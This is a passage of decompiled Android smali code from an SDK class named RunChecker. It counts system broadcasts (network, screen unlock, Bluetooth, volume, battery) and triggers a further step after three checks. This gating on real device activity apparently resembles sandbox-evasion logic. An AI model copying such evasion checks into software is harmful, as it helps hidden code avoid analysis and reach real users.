                              219iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              221invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              222move-result-object v2
                              224const-string/jumbo v3, "p6"
                              226const-string/jumbo v4, "0"
                              228invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              230iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              232invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              233move-result-object v2
                              235const-string/jumbo v3, "t1"
                              236new-instance v4, Ljava/lang/StringBuilder;
                              238invoke-direct {v4}, Ljava/lang/StringBuilder;-><init>()V
                              240const-string/jumbo v5, ""
                              242invoke-virtual {v4, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              243move-result-object v4
                              245invoke-virtual {v4, v0, v1}, Ljava/lang/StringBuilder;->append(J)Ljava/lang/StringBuilder;
                              246move-result-object v0
                              248invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              249move-result-object v0
                              251invoke-interface {v2, v3, v0}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              253iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              255invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;)V
                              257iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              259invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              260move-result-object v0
                              262const-string/jumbo v1, "c1"
                              263new-instance v2, Ljava/lang/StringBuilder;
                              265invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              267const-string/jumbo v3, ""
                              269invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              270move-result-object v2
                              272iget-object v3, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              274invoke-static {v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              275move-result-object v3
                              277const-string/jumbo v4, "c1"
                              279const-string/jumbo v5, "0"
                              281invoke-interface {v3, v4, v5}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              282move-result-object v3
                              284invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              285move-result v3
                              286add-int/lit8 v3, v3, 0x1
                              288invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              289move-result-object v2
                              291invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              292move-result-object v2
                              294invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              296iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              298invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              299move-result-object v0
                              301const-string/jumbo v1, "c1"
                              303const-string/jumbo v2, "0"
                              305invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              306move-result-object v0
                              308invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              309move-result v0
                              311iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              312new-instance v2, Ljava/lang/StringBuilder;
                              314invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              316const-string/jumbo v3, "run check times = "
                              318invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              319move-result-object v2
                              321invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              322move-result-object v2
                              324const-string/jumbo v3, " --- "
                              326invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              327move-result-object v2
                              328const/4 v3, 0x3
                              329if-lt v0, v3, :cond_241
                              330const/4 v0, 0x1
                              331goto_1c9:
                              332invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Z)Ljava/lang/StringBuilder;
                              333move-result-object v0
                              335invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              336move-result-object v0
                              338invoke-static {v1, v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              340iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              342invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              343move-result-object v0
                              345const-string/jumbo v1, "c1"
                              347const-string/jumbo v2, "0"
                              349invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              350move-result-object v0
                              352invoke-static {v0}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              353move-result v0
                              354const/4 v1, 0x3
                              355if-lt v0, v1, :cond_207
                              357iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              359invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              360move-result-object v0
                              362const-string/jumbo v1, "c1"
                              364const-string/jumbo v2, "0"
                              366invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              368iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              370const-string/jumbo v1, "check times >= 3"
                              372invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              374iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              376invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->c(Lcom/omgSdk/outport/RunChecker;)V
                              377cond_207:
                              378iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              379new-instance v1, Ljava/lang/StringBuilder;
                              381invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              383const-string/jumbo v2, "receiver get action = "
                              385invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              386move-result-object v1
                              388invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              389move-result-object v2
                              391invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              392move-result-object v1
                              394invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              395move-result-object v1
                              397invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              399const-string/jumbo v0, "android.net.conn.CONNECTIVITY_CHANGE"
                              401invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              402move-result-object v1
                              404invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              405move-result v0
                              406if-eqz v0, :cond_2b3
                              408iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              410invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->d(Lcom/omgSdk/outport/RunChecker;)Z
                              411move-result v0
                              412if-eqz v0, :cond_243
                              414iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              415const/4 v1, 0x0
                              417invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Z)Z
                              418goto/16 :goto_ca
                              419cond_241: const/4 v0, 0x0
                              420goto/16 :goto_1c9
                              421cond_243:
                              422iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              423const/4 v1, 0x1
                              425invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;I)Z
                              426move-result v0
                              427if-eqz v0, :cond_ca
                              429iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              431invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              432move-result-object v0
                              434const-string/jumbo v1, "p1"
                              435new-instance v2, Ljava/lang/StringBuilder;
                              437invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              439const-string/jumbo v3, ""
                              441invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              442move-result-object v2
                              444iget-object v3, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              446invoke-static {v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              447move-result-object v3
                              449const-string/jumbo v4, "p1"
                              451const-string/jumbo v5, "0"
                              453invoke-interface {v3, v4, v5}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              454move-result-object v3
                              456invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              457move-result v3
                              458add-int/lit8 v3, v3, 0x1
                              460invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              461move-result-object v2
                              463invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              464move-result-object v2
                              466invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              468iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              469new-instance v1, Ljava/lang/StringBuilder;
                              471invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              473const-string/jumbo v2, "net CONNECTIVITY_CHANGE -- "
                              475invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              476move-result-object v1
                              478iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              480invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              481move-result-object v2
                              483const-string/jumbo v3, "p1"
                              485const-string/jumbo v4, "0"
                              487invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              488move-result-object v2
                              490invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              491move-result-object v1
                              493invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              494move-result-object v1
                              496invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              498iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              499const/4 v1, 0x1
                              501invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              502goto/16 :goto_ca
                              503cond_2b3:
                              504const-string/jumbo v0, "android.intent.action.USER_PRESENT"
                              506invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              507move-result-object v1
                              509invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              510move-result v0
                              511if-eqz v0, :cond_330
                              513iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              514const/4 v1, 0x2
                              516invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;I)Z
                              517move-result v0
                              518if-eqz v0, :cond_ca
                              520iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              522invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              523move-result-object v0
                              525const-string/jumbo v1, "p2"
                              526new-instance v2, Ljava/lang/StringBuilder;
                              528invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              530const-string/jumbo v3, ""
                              532invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              533move-result-object v2
                              535iget-object v3, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              537invoke-static {v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              538move-result-object v3
                              540const-string/jumbo v4, "p2"
                              542const-string/jumbo v5, "0"
                              544invoke-interface {v3, v4, v5}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              545move-result-object v3
                              547invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              548move-result v3
                              549add-int/lit8 v3, v3, 0x1
                              551invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              552move-result-object v2
                              554invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              555move-result-object v2
                              557invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              559iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              560new-instance v1, Ljava/lang/StringBuilder;
                              562invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              564const-string/jumbo v2, "ACTION_USER_PRESENT -- "
                              566invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              567move-result-object v1
                              569iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              571invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              572move-result-object v2
                              574const-string/jumbo v3, "p2"
                              576const-string/jumbo v4, "0"
                              578invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              579move-result-object v2
                              581invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              582move-result-object v1
                              584invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              585move-result-object v1
                              587invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              589iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              590const/4 v1, 0x2
                              592invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              593goto/16 :goto_ca
                              594cond_330:
                              595const-string/jumbo v0, "android.bluetooth.adapter.action.STATE_CHANGED"
                              597invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              598move-result-object v1
                              600invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              601move-result v0
                              602if-eqz v0, :cond_3ad
                              604iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              605const/4 v1, 0x3
                              607invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;I)Z
                              608move-result v0
                              609if-eqz v0, :cond_ca
                              611iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              613invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              614move-result-object v0
                              616const-string/jumbo v1, "p3"
                              617new-instance v2, Ljava/lang/StringBuilder;
                              619invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              621const-string/jumbo v3, ""
                              623invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              624move-result-object v2
                              626iget-object v3, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              628invoke-static {v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              629move-result-object v3
                              631const-string/jumbo v4, "p3"
                              633const-string/jumbo v5, "0"
                              635invoke-interface {v3, v4, v5}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              636move-result-object v3
                              638invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              639move-result v3
                              640add-int/lit8 v3, v3, 0x1
                              642invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              643move-result-object v2
                              645invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              646move-result-object v2
                              648invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              650iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              651new-instance v1, Ljava/lang/StringBuilder;
                              653invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              655const-string/jumbo v2, "ACTION_STATE_CHANGED -- "
                              657invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              658move-result-object v1
                              660iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              662invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              663move-result-object v2
                              665const-string/jumbo v3, "p3"
                              667const-string/jumbo v4, "0"
                              669invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              670move-result-object v2
                              672invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              673move-result-object v1
                              675invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              676move-result-object v1
                              678invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              680iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              681const/4 v1, 0x3
                              683invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              684goto/16 :goto_ca
                              685cond_3ad:
                              686const-string/jumbo v0, "android.media.VOLUME_CHANGED_ACTION"
                              688invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              689move-result-object v1
                              691invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              692move-result v0
                              693if-eqz v0, :cond_42a
                              695iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              696const/4 v1, 0x4
                              698invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;I)Z
                              699move-result v0
                              700if-eqz v0, :cond_ca
                              702iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              704invoke-static {v0}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              705move-result-object v0
                              707const-string/jumbo v1, "p4"
                              708new-instance v2, Ljava/lang/StringBuilder;
                              710invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              712const-string/jumbo v3, ""
                              714invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              715move-result-object v2
                              717iget-object v3, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              719invoke-static {v3}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              720move-result-object v3
                              722const-string/jumbo v4, "p4"
                              724const-string/jumbo v5, "0"
                              726invoke-interface {v3, v4, v5}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              727move-result-object v3
                              729invoke-static {v3}, Ljava/lang/Integer;->parseInt(Ljava/lang/String;)I
                              730move-result v3
                              731add-int/lit8 v3, v3, 0x1
                              733invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              734move-result-object v2
                              736invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              737move-result-object v2
                              739invoke-interface {v0, v1, v2}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              741iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              742new-instance v1, Ljava/lang/StringBuilder;
                              744invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              746const-string/jumbo v2, "VOLUME_CHANGED_ACTION -- "
                              748invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              749move-result-object v1
                              751iget-object v2, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              753invoke-static {v2}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              754move-result-object v2
                              756const-string/jumbo v3, "p4"
                              758const-string/jumbo v4, "0"
                              760invoke-interface {v2, v3, v4}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              761move-result-object v2
                              763invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              764move-result-object v1
                              766invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              767move-result-object v1
                              769invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;Ljava/lang/String;)V
                              771iget-object v0, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              772const/4 v1, 0x4
                              774invoke-static {v0, v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;I)Z
                              775goto/16 :goto_ca
                              776cond_42a:
                              777const-string/jumbo v0, "android.intent.action.BATTERY_CHANGED"
                              779invoke-virtual {p2}, Landroid/content/Intent;->getAction()Ljava/lang/String;
                              780move-result-object v1
                              782invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              783move-result v0
                              784if-eqz v0, :cond_ca
                              786const-string/jumbo v0, "level"
                              787const/4 v1, -0x1
                              789invoke-virtual {p2, v0, v1}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              790move-result v1
                              792const-string/jumbo v0, "scale"
                              793const/4 v2, -0x1
                              795invoke-virtual {p2, v0, v2}, Landroid/content/Intent;->getIntExtra(Ljava/lang/String;I)I
                              796move-result v2
                              797const/4 v0, 0x0
                              798if-lez v2, :cond_44d
                              799mul-int/lit8 v0, v1, 0x64
                              800div-int/2addr v0, v2
                              801cond_44d:
                              802iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              804invoke-static {v1}, Lcom/omgSdk/outport/RunChecker;->e(Lcom/omgSdk/outport/RunChecker;)Ljava/util/Set;
                              805move-result-object v1
                              806const/4 v2, 0x5
                              808invoke-static {v2}, Ljava/lang/Integer;->valueOf(I)Ljava/lang/Integer;
                              809move-result-object v2
                              811invoke-interface {v1, v2}, Ljava/util/Set;->contains(Ljava/lang/Object;)Z
                              812move-result v1
                              813if-eqz v1, :cond_4a6
                              815iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              816const/4 v2, 0x5
                              818invoke-static {v1, v2}, Lcom/omgSdk/outport/RunChecker;->b(Lcom/omgSdk/outport/RunChecker;I)Z
                              819move-result v1
                              820if-eqz v1, :cond_4a6
                              822iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              824invoke-static {v1}, Lcom/omgSdk/outport/RunChecker;->a(Lcom/omgSdk/outport/RunChecker;)Lcom/omgSdk/outport/RunChecker$RunCheckInterface;
                              825move-result-object v1
                              827const-string/jumbo v2, "p5"
                              828new-instance v3, Ljava/lang/StringBuilder;
                              830invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                              832const-string/jumbo v4, ""
                              834invoke-virtual {v3, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              835move-result-object v3
                              837invoke-virtual {v3, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                              838move-result-object v3
                              840invoke-virtual {v3}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              841move-result-object v3
                              843invoke-interface {v1, v2, v3}, Lcom/omgSdk/outport/RunChecker$RunCheckInterface;->saveValue(Ljava/lang/String;Ljava/lang/String;)V
                              845iget-object v1, p0, Lcom/omgSdk/outport/RunChecker$ChangeBroadcastReceiver;->a:Lcom/omgSdk/outport/RunChecker;
                              846new-instance v2, Ljava/lang/StringBuilder;
